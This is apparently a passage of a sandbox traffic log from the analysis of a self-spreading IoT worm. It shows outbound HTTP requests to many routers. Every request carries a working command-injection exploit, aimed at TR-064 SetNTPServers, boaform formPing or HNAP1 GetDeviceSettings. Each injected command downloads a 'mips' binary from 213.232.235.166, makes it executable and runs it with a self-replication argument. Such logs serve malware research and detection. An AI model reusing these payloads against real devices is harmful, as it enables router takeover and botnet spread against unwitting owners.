249	192.168.2.13	33068	108.190.104.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:34.533624887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	56496	200.114.231.19	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:34.602541924 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	33084	108.190.104.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:34.757262945 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	42086	178.252.68.201	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:34.818965912 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	56508	200.114.231.19	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:34.894999027 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	47906	144.139.26.171	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.065408945 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	44686	191.33.118.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.107111931 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:36.900507927 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:39.008517027 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:43.360457897 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:51.808572054 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.472455978 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.288431883 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	40782	37.250.57.104	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.117739916 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	48974	101.25.40.112	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.120541096 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	49734	101.89.64.73	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.143014908 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:36.768480062 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:38.688472033 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:42.592478991 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:50.272521973 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:05.632560015 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:36.096396923 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	47918	144.139.26.171	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.381083012 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	44698	191.33.118.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.454375982 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:37.216466904 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:39.520488024 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:43.872445107 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.320463896 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.472431898 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.288413048 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	40794	37.250.57.104	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.477535009 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	50804	99.228.23.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.556416988 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	46418	115.23.216.29	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.621968031 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	35074	222.153.22.23	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.750515938 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 